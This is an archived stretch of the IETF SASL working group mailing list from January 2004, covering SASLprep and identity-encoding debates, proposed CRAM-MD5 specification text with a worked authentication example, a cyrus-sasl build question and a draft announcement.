In-Reply-To: <400EE1AD.6010309@att.com> (Tony Hansen's message of "Wed, 21 Jan 2004 15:31:41 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Tony" == Tony Hansen writes: Tony> I think it should be common to all mechanisms, and thus Tony> belongs in the base spec. Tony> Tony Hansen tony@att.com Tony> Lyndon Nerenberg wrote: >> --On 2004-1-15 10:53 PM -0500 Sam Hartman >> wrote: >>> I disagree and believe that the choice of encoding and >>> normalization for the authentication identity is entirely a >>> matter of choice for the mechanism document and is out of >>> scope for normative comments from the base spec. The base >>> spec can and does give advice on what best practice is with >>> regard to these issues. >> Fair enough. I'm not convinced there is consensus either for or >> against adding Sam's proposed text. Could the WG chairs please >> conduct a 'hum' over whether the text should be added to the >> draft? This is the last outstanding issue, and as soon as it's >> resolved we can get this document into last call. --lyndon It seems like you are disagreeing fairly strongly with what I'm saying. I assert (and attempted to justify in text that was trimmed) why authentication identifier encoding must be a mechanism matter. You assert disagreement. Would you please describe why you think I'm wrong or how you think I'm unclear or otherwise explain how you think it would work to treat this as a global issue? From owner-ietf-sasl Thu Jan 22 01:37:45 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9biib036214; Thu, 22 Jan 2004 01:37:44 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M9bibr036213; Thu, 22 Jan 2004 01:37:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB218183214072.bbtec.net [218.183.214.72]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9bhib036197 for ; Thu, 22 Jan 2004 01:37:43 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id B44F615159C; Thu, 22 Jan 2004 04:36:54 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> From: Sam Hartman Date: Thu, 22 Jan 2004 04:36:54 -0500 In-Reply-To: <2147483647.1074636301@localhost> (Lyndon Nerenberg's message of "Tue, 20 Jan 2004 22:05:01 -0800") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Lyndon" == Lyndon Nerenberg writes: Lyndon> --On 2004-1-15 10:53 PM -0500 Sam Hartman Lyndon> wrote: >> I disagree and believe that the choice of encoding and >> normalization for the authentication identity is entirely a >> matter of choice for the mechanism document and is out of scope >> for normative comments from the base spec. The base spec can >> and does give advice on what best practice is with regard to >> these issues. Lyndon> Fair enough. I'm not convinced there is consensus either Lyndon> for or against adding Sam's proposed text. Could the WG Lyndon> chairs please conduct a 'hum' over whether the text should Lyndon> be added to the draft? This is the last outstanding issue, Lyndon> and as soon as it's resolved we can get this document into Lyndon> last call. I don't recall proposing any text. I may be confused here. From owner-ietf-sasl Thu Jan 22 10:10:58 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIAwib074389; Thu, 22 Jan 2004 10:10:58 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MIAwKf074388; Thu, 22 Jan 2004 10:10:58 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [63.202.92.157] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIAuic074382; Thu, 22 Jan 2004 10:10:56 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> References: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Thu, 22 Jan 2004 10:10:56 -0800 To: "Kurt D. Zeilenga" From: Paul Hoffman / IMC Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 3:01 PM -0800 1/21/04, Kurt D. Zeilenga wrote: >Most of the mechanisms using SASLprep have supported UTF-8 encoded >Unicode passwords for many years. Ah, good. I wasn't aware of that. >I will not that we use to have lots of similar problems in LDAP. >Clients use to send character data values in whatever character >set/encoding suited them. Once we implemented UTF-8 validation >in the servers, the client developers got their acts together. >I suspect the same has/is/will happen in SASL as well. Sounds OK to me if other SASL implementers agree. > >The second is shared secrets that aren't text. Is the shared >secret always text, or is there a pure binary form? If so, you can't >saslprep the pure binary form. I'm assuming this is a non-issue, but >I might have not found the right place in the SASL draft. > >SASLprep is not applicable to usernames/passwords which are not >composed of Unicode character data. That absolutely needs to be clarified in the document. Right now, it says "It may be applicable elsewhere simple user names and passwords are used." To me, a bunch of hex values is a "simple" password. > >The second is a security consideration. Running saslprep over a >shared secret reduces the entropy of the shared secret by >eliminating some characters and mapping others. Not a big deal, but >it does make an attacker's job easier. > >In theory, yes. But one could argue that, in practice, the >introduction of SASLprep will make more of the password space >usable hence making the attacker's job harder. But you said above that most SASL mechanisms have already been using UTF-8, so that doesn't make sense. I believe that you have to add a security consideration about this. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-sasl Thu Jan 22 11:10:07 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJA7ib076603; Thu, 22 Jan 2004 11:10:07 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MJA77r076602; Thu, 22 Jan 2004 11:10:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJA6ib076594; Thu, 22 Jan 2004 11:10:06 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0MJA7ec027579; Thu, 22 Jan 2004 19:10:08 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040122110237.03cfae70@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Thu, 22 Jan 2004 11:09:40 -0800 To: Paul Hoffman / IMC From: "Kurt D. Zeilenga" Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org In-Reply-To: References: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 10:10 AM 1/22/2004, Paul Hoffman / IMC wrote: >> >The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. >> >>In theory, yes. But one could argue that, in practice, the >>introduction of SASLprep will make more of the password space >>usable hence making the attacker's job harder. > >But you said above that most SASL mechanisms have already been using UTF-8, so that doesn't make sense. I believe that you have to add a security consideration about this. The mechanisms have long supported UTF-8 (with no significant code point restrictions)... and non-ASCII passwords are certainly in use, but due to interoperability problems, much of the password space is not terrible usable. An attacker today would be wise to first search the ASCII-only part of the space, then the portion of the UTF-8 space which is use, and then maybe try to exhaust the complete space. I agree that the introduction of SASLprep reduces the size of the complete space. My point was that the introduction will increase the portion of practically usable space, and that will make it much harder on the attacker. Kurt From owner-ietf-sasl Fri Jan 23 13:06:22 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Kib018874; Fri, 23 Jan 2004 13:06:22 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NL6JvA018872; Fri, 23 Jan 2004 13:06:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Hib018857 for ; Fri, 23 Jan 2004 13:06:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 04A5B67007 for ; Fri, 23 Jan 2004 13:06:05 -0800 (PST) Date: Thu, 22 Jan 2004 11:33:04 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 examples Message-ID: <2147483647.1074771184@localhost> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Simon also proposed corrected text for the examples. Since my main server is still in a box I don't have access to my SASL tools, so I would appreciate it if someone could run these new examples and provide independent verification of their correctness. S: * OK [CAPABILITY IMAP4rev1 STARTTLS LOGINDISABLED AUTH=CRAM-MD5] C: A0001 AUTHENTICATE CRAM-MD5 S: + PDE4OTYuNjk3MTcwOTUyQHBvc3RvZmZpY2UuZXhhbXBsZS5uZXQ+ C: am9lIDNkYmM4OGYwNjI0Nzc2YTczN2IzOTA5M2Y2ZWI2NDI3 S: A0001 OK CRAM-MD5 authentication successful In this example, the shared secret is the string tanstaaftanstaaf Hence, the Keyed MD5 digest is produced by calculating MD5((tanstaaftanstaaf XOR opad), MD5((tanstaaftanstaaf XOR ipad), <1896.697170952@postoffice.example.net>)) where ipad and opad are as defined in [KEYED-MD5] and the string shown in the challenge is the base64 encoding of <1896.697170952@postoffice.example.net>. The shared secret is null-padded to a length of 64 bytes. If the shared secret is longer than 64 bytes, the MD5 digest of the shared secret is used as a 16 byte input to the keyed MD5 calculation. This produces a digest value (in hexadecimal) of 3dbc88f0624776a737b39093f6eb6427 The user name is then prepended to it, forming joe 3dbc88f0624776a737b39093f6eb6427 Which is then base64 encoded to meet the requirements of the IMAP4 AUTHENTICATE command (or the similar POP3 AUTH command), yielding am9lIDNkYmM4OGYwNjI0Nzc2YTczN2IzOTA5M2Y2ZWI2NDI3 Thanks, --lyndon From owner-ietf-sasl Fri Jan 23 13:06:22 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Kib018875; Fri, 23 Jan 2004 13:06:22 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NL6KY5018873; Fri, 23 Jan 2004 13:06:20 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Hib018856 for ; Fri, 23 Jan 2004 13:06:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id D495B67003 for ; Fri, 23 Jan 2004 13:06:04 -0800 (PST) Date: Thu, 22 Jan 2004 11:29:45 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 proposed text Message-ID: <2147483647.1074770985@localhost> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Sorry folks, I've been working offline for the last week and haven't had access to my mail archives. The text in question was proposed by Simon, not Sam, and reads: The server MUST prepare the shared secret string using the [SASLPrep] profile of the [StringPrep] algorithm. The resulting value MUST be encoded as UTF-8 [UTF8]. The server may store the prepared string instead of, or as well as, the unprepared string, so that it does not have to prepare it every time it is needed for computation. However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. --lyndon From owner-ietf-sasl Fri Jan 23 19:47:18 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0O3lHib034393; Fri, 23 Jan 2004 19:47:17 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0O3lHKO034392; Fri, 23 Jan 2004 19:47:17 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from core.noc.uanl.mx (core.noc.uanl.mx [148.234.7.52]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0O3lGib034386 for ; Fri, 23 Jan 2004 19:47:16 -0800 (PST) (envelope-from jcvalero@redes.uanl.mx) Received: from redes13 (redes13.dsi.uanl.mx [148.234.7.34]) by core.noc.uanl.mx (Postfix) with SMTP id AA8825C24 for ; Fri, 23 Jan 2004 21:47:19 -0600 (CST) Message-ID: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> From: "Jesus C. Valero Cantu" To: Subject: OpenBSD 3.4 & cyrus-sasl-2.1.17 Date: Fri, 23 Jan 2004 21:40:36 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0064_01C3E1F9.891D2200" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: This is a multi-part message in MIME format. ------=_NextPart_000_0064_01C3E1F9.891D2200 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi everybody. I'm trying to implement, Postfix SMTP AUTH with cyrus-sasl mysql = plugin. At compiling time, i see messages like this mv -f .libs/login_init.lo login_init.lo /bin/sh ../libtool --mode=3Dlink gcc -Wall -W -g -O2 -module = -export-dynamic -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la = -version-info 2:17:0 login.lo login_init.lo plugin_common.lo -lresolv rm -fr .libs/liblogin.la .libs/liblogin.* .libs/liblogin.* *** Warning: This library needs some functionality provided by -lresolv. *** I have the capability to make that library automatically link in = when *** you link to this library. But I can only do this if you have a *** shared version of the library, which you do not appear to have. *** Warning: libtool could not satisfy all declared inter-library *** dependencies of module liblogin. Therefore, libtool will create *** a static module, that should work as long as the dlopening *** application is linked with the -dlopen flag. ar cru .libs/liblogin.a login.o login_init.o plugin_common.o=20 ranlib .libs/liblogin.a creating liblogin.la mv -f .libs/plugin_common.lo plugin_common.lo /bin/sh ../libtool --mode=3Dlink gcc -Wall -W -g -O2 -L/usr/lib -o = libsasl2.la -rpath /usr/local/lib -version-info 2:17:0 auxprop.lo = canonusr.lo checkpw.lo client.lo common.lo config.lo external.lo md5.lo = saslutil.lo server.lo seterror.lo dlopen.lo plugin_common.lo = -lresolv rm -fr .libs/libsasl2.la .libs/libsasl2.* .libs/libsasl2.* *** Warning: This library needs some functionality provided by -lresolv. *** I have the capability to make that library automatically link in = when *** you link to this library. But I can only do this if you have a *** shared version of the library, which you do not appear to have. *** The inter-library dependencies that have been dropped here will be *** automatically added whenever a program is linked with this library *** or is declared to -dlopen it. cc -shared -fPIC -o .libs/libsasl2.so.2.17 auxprop.lo canonusr.lo = checkpw.lo client.lo common.lo config.lo external.lo md5.lo saslutil.lo = server.lo seterror.lo dlopen.lo plugin_common.lo -L/usr/lib=20 -- Then i set up /usr/lib/sasl2 links to /usr/local/lib/sasl2, for libsql.a = and libsql.la then i try to connect with postfix and i see this in logs. smtp postfix/smtpd[23793]: fatal: no SASL authentication mechanisms smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd = pid 16234 exit status 1 smtp postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad = command startup -- throttling smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd = pid 783 exit status 1 and this smtp postfix/smtpd[10835]: Could not find a dlname line in .la file: = libsql.la .=20 I supose i see the openbsd port for cyrus-sasl2, it had libsasl.so.2.13 = but i don't get this when i compile from source package. Somebody knows what's going on? what i need? Thank you. Jesus ------=_NextPart_000_0064_01C3E1F9.891D2200 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi everybody.
 
I'm trying to implement, = Postfix SMTP AUTH=20 with cyrus-sasl  mysql plugin.
 
At compiling time, i see messages = like=20 this
 
mv -f .libs/login_init.lo = login_init.lo
/bin/sh=20 ../libtool --mode=3Dlink gcc  -Wall -W -g -O2  -module = -export-dynamic=20 -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la  -version-info = 2:17:0=20 login.lo login_init.lo plugin_common.lo   -lresolv
rm -fr=20 .libs/liblogin.la .libs/liblogin.* .libs/liblogin.*
 
*** Warning: This library needs some = functionality=20 provided by -lresolv.
*** I have the capability to make that library=20 automatically link in when
*** you link to this library.  But I = can only=20 do this if you have a
*** shared version of the library, which you do = not=20 appear to have.
 
*** Warning: libtool could not satisfy = all declared=20 inter-library
*** dependencies of module liblogin.  Therefore, = libtool=20 will create
*** a static module, that should work as long as the=20 dlopening
*** application is linked with the -dlopen flag.
ar cru=20 .libs/liblogin.a  login.o login_init.o plugin_common.o
ranlib=20 .libs/liblogin.a
creating liblogin.la
mv -f .libs/plugin_common.lo=20 plugin_common.lo
/bin/sh ../libtool --mode=3Dlink gcc  -Wall -W = -g=20 -O2   -L/usr/lib -o libsasl2.la -rpath /usr/local/lib = -version-info=20 2:17:0 auxprop.lo canonusr.lo checkpw.lo client.lo common.lo  = config.lo=20 external.lo md5.lo saslutil.lo server.lo seterror.lo  dlopen.lo=20 plugin_common.lo     -lresolv
rm -fr = .libs/libsasl2.la=20 .libs/libsasl2.* .libs/libsasl2.*
 
*** Warning: This library needs some = functionality=20 provided by -lresolv.
*** I have the capability to make that library=20 automatically link in when
*** you link to this library.  But I = can only=20 do this if you have a
*** shared version of the library, which you do = not=20 appear to have.
*** The inter-library dependencies that have been = dropped=20 here will be
*** automatically added whenever a program is linked = with this=20 library
*** or is declared to -dlopen it.
cc -shared  -fPIC = -o=20 .libs/libsasl2.so.2.17  auxprop.lo canonusr.lo checkpw.lo client.lo = common.lo config.lo external.lo md5.lo saslutil.lo server.lo seterror.lo = dlopen.lo plugin_common.lo  -L/usr/lib
--
 
Then i set up /usr/lib/sasl2 links to=20 /usr/local/lib/sasl2, for libsql.a and libsql.la then i try to connect = with=20 postfix and i see this in logs.
 
 smtp postfix/smtpd[23793]: fatal: = no SASL=20 authentication mechanisms
 smtp postfix/master[29064]: warning: = process=20 /usr/libexec/postfix/smtpd pid 16234 exit status 1
 smtp=20 postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad command = startup=20 -- throttling
 smtp postfix/master[29064]: warning: process=20 /usr/libexec/postfix/smtpd pid 783 exit status 1
and this
 
smtp postfix/smtpd[10835]: Could not = find a dlname=20 line in .la file: libsql.la
 
.
I supose i see the openbsd port for = cyrus-sasl2, it=20 had libsasl.so.2.13 but i don't get this when i compile from source=20 package.
 
Somebody knows what's going on? = what i=20 need?
 
Thank you.
 
Jesus
------=_NextPart_000_0064_01C3E1F9.891D2200-- From owner-ietf-sasl Sat Jan 24 11:16:16 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0OJGGib055797; Sat, 24 Jan 2004 11:16:16 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0OJGGcl055796; Sat, 24 Jan 2004 11:16:16 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0OJGFib055790 for ; Sat, 24 Jan 2004 11:16:15 -0800 (PST) (envelope-from guenther@sendmail.com) Received: from katroo.Sendmail.COM (natted.sendmail.com [63.211.143.38]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0OJGEHx022535; Sat, 24 Jan 2004 11:16:14 -0800 (PST) Received: from functor.smi.sendmail.com (functor.smi.sendmail.com [10.210.202.37]) by katroo.Sendmail.COM (8.11.7a/8.11.7) with ESMTP id i0OJGEn17813; Sat, 24 Jan 2004 11:16:14 -0800 (PST) Message-Id: <200401241916.i0OJGEn17813@katroo.Sendmail.COM> To: Lyndon Nerenberg Cc: ietf-sasl@imc.org From: Philip Guenther Subject: Re: CRAM-MD5 examples In-reply-to: <2147483647.1074771184@localhost> References: <2147483647.1074771184@localhost> Date: Sat, 24 Jan 2004 11:16:14 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Lyndon Nerenberg writes: > >Simon also proposed corrected text for the examples. Since my main >server is still in a box I don't have access to my SASL tools, so I >would appreciate it if someone could run these new examples and provide >independent verification of their correctness. They verify as correct, both the encoding and the hashing. Philip Guenther From owner-ietf-sasl Sun Jan 25 11:21:46 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PJLjBw013225; Sun, 25 Jan 2004 11:21:45 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PJLjTx013224; Sun, 25 Jan 2004 11:21:45 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from eagle.oceana.com ([208.17.123.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PJLiKB013217 for ; Sun, 25 Jan 2004 11:21:44 -0800 (PST) (envelope-from ken@oceana.com) Received: from oceana.com (69-161-93-210.bflony.adelphia.net [69.161.93.210]) (authenticated bits=0) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i0PJLYfD009502 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 25 Jan 2004 14:21:36 -0500 (EST) Message-ID: <4014173B.2020003@oceana.com> Date: Sun, 25 Jan 2004 14:21:31 -0500 From: Ken Murchison Reply-To: Cyrus SASL Mailing List Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en,pdf MIME-Version: 1.0 To: "Jesus C. Valero Cantu" , Cyrus SASL Mailing List CC: ietf-sasl@imc.org Subject: Re: OpenBSD 3.4 & cyrus-sasl-2.1.17 References: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> In-Reply-To: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'm moving this discussion to the cyrus-sasl list where it it more appropriate. Jesus C. Valero Cantu wrote: > Hi everybody. > > I'm trying to implement, Postfix SMTP AUTH with cyrus-sasl mysql plugin. > > At compiling time, i see messages like this > > mv -f .libs/login_init.lo login_init.lo > /bin/sh ../libtool --mode=link gcc -Wall -W -g -O2 -module > -export-dynamic -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la > -version-info 2:17:0 login.lo login_init.lo plugin_common.lo -lresolv > rm -fr .libs/liblogin.la .libs/liblogin.* .libs/liblogin.* > > *** Warning: This library needs some functionality provided by -lresolv. > *** I have the capability to make that library automatically link in when > *** you link to this library. But I can only do this if you have a > *** shared version of the library, which you do not appear to have. > > *** Warning: libtool could not satisfy all declared inter-library > *** dependencies of module liblogin. Therefore, libtool will create > *** a static module, that should work as long as the dlopening > *** application is linked with the -dlopen flag. > ar cru .libs/liblogin.a login.o login_init.o plugin_common.o > ranlib .libs/liblogin.a > creating liblogin.la > mv -f .libs/plugin_common.lo plugin_common.lo > /bin/sh ../libtool --mode=link gcc -Wall -W -g -O2 -L/usr/lib -o > libsasl2.la -rpath /usr/local/lib -version-info 2:17:0 auxprop.lo > canonusr.lo checkpw.lo client.lo common.lo config.lo external.lo md5.lo > saslutil.lo server.lo seterror.lo dlopen.lo plugin_common.lo -lresolv > rm -fr .libs/libsasl2.la .libs/libsasl2.* .libs/libsasl2.* > > *** Warning: This library needs some functionality provided by -lresolv. > *** I have the capability to make that library automatically link in when > *** you link to this library. But I can only do this if you have a > *** shared version of the library, which you do not appear to have. > *** The inter-library dependencies that have been dropped here will be > *** automatically added whenever a program is linked with this library > *** or is declared to -dlopen it. > cc -shared -fPIC -o .libs/libsasl2.so.2.17 auxprop.lo canonusr.lo > checkpw.lo client.lo common.lo config.lo external.lo md5.lo saslutil.lo > server.lo seterror.lo dlopen.lo plugin_common.lo -L/usr/lib > -- > > Then i set up /usr/lib/sasl2 links to /usr/local/lib/sasl2, for libsql.a > and libsql.la then i try to connect with postfix and i see this in logs. > > smtp postfix/smtpd[23793]: fatal: no SASL authentication mechanisms > smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd > pid 16234 exit status 1 > smtp postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad > command startup -- throttling > smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd > pid 783 exit status 1 > and this > > smtp postfix/smtpd[10835]: Could not find a dlname line in .la file: > libsql.la > > . > I supose i see the openbsd port for cyrus-sasl2, it had libsasl.so.2.13 > but i don't get this when i compile from source package. > > Somebody knows what's going on? what i need? > > Thank you. > > Jesus -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp From owner-ietf-sasl Wed Jan 28 08:08:11 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8Bla038835; Wed, 28 Jan 2004 08:08:11 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG8BlS038834; Wed, 28 Jan 2004 08:08:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8AoC038828 for ; Wed, 28 Jan 2004 08:08:10 -0800 (PST) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06692; Wed, 28 Jan 2004 11:08:08 -0500 (EST) Message-Id: <200401281608.LAA06692@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-rfc2222bis-05.txt Date: Wed, 28 Jan 2004 11:08:07 -0500 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : Simple Authentication and Security Layer (SASL) Author(s) : A. Melnikov Filename : draft-ietf-sasl-rfc2222bis-05.txt Pages : 11 Date : 2004-1-27 SASL provides a method for adding authentication support with an optional security layer to connection-based protocols. It also describes a structure for authentication mechanisms. The result is an abstraction layer between protocols and authentication mechanisms such that any SASL-compatible authentication mechanism can be used with any SASL-compatible protocol. This document describes how a SASL authentication mechanism is structured, how a protocol adds support for SASL, defines the protocol for carrying a security layer over a connection, and defines the EXTERNAL SASL authentication mechanism. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt To remove yourself from the 